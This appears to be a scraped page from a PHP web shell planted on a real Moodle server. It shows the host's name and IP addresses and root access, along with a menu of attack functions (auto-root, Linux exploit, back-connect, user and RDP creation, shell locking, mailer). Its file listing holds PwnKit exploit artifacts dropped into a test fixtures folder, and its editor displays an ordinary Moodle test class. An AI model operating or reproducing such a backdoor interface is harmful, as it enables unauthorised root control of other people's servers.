Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
course /
tests /
fixtures /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
course_capability_assignment.p...
3.45
KB
-rwxrwxrwx
format_theunittest.php
2.86
KB
-rwxrwxrwx
mock_hooks.php
5.93
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
testable_course_edit_form.php
1.47
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : course_capability_assignment.php
<?php /** * Aids in capability assignment and alteration of the assigned capability. * * @package core_course * @copyright 2013 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class course_capability_assignment { /** * @var array The capability that has been assigned. */ protected $capability; /** * @var int The role ID that the assignment was made for. */ protected $roleid; /** * @var int The context ID against which the assignment was made. */ protected $contextid; /** * Assigns a capability to a role at the given context giving it permission. * * @param string|array $capability The capability to assign. * @param int $roleid The roleID to assign to. * @param int $contextid The contextID for where to make the assignment. * @return course_capability_assignment */ public static function allow($capability, $roleid, $contextid) { return new course_capability_assignment($capability, $roleid, $contextid, CAP_ALLOW); } /** * Assigns a capability to a role at the given context prohibiting it. * * @param string|array $capability The capability to assign. * @param int $roleid The roleID to assign to. * @param int $contextid The contextID for where to make the assignment. * @return course_capability_assignment */ public static function prohibit($capability, $roleid, $contextid) { return new course_capability_assignment($capability, $roleid, $contextid, CAP_PROHIBIT); } /** * Assigns a capability to a role at the given context preventing it. * * @param string|array $capability The capability to assign. * @param int $roleid The roleID to assign to. * @param int $contextid The contextID for where to make the assignment. * @return course_capability_assignment */ public static function prevent($capability, $roleid, $contextid) { return new course_capability_assignment($capability, $roleid, $contextid, CAP_PREVENT); } /** * Creates a new course_capability_assignment object * * @param string|array $capability The capability to assign. * @param int $roleid The roleID to assign to. * @param int $contextid The contextID for where to make the assignment. * @param int $permission The permission to apply. One of CAP_ALLOW, CAP_PROHIBIT, CAP_PREVENT. * @return course_capability_assignment */ protected function __construct($capability, $roleid, $contextid, $permission) { if (is_string($capability)) { $capability = array($capability); } $this->capability = $capability; $this->roleid = $roleid; $this->contextid = $contextid; $this->assign($permission); } /** * Assign a new permission. * @param int $permission One of CAP_ALLOW, CAP_PROHIBIT, CAP_PREVENT */ public function assign($permission) { foreach ($this->capability as $capability) { assign_capability($capability, $permission, $this->roleid, $this->contextid, true); } accesslib_clear_all_caches_for_unit_testing(); } /** * Revokes the capability assignment. */ public function revoke() { foreach ($this->capability as $capability) { unassign_capability($capability, $this->roleid, $this->contextid); } accesslib_clear_all_caches_for_unit_testing(); } }
Close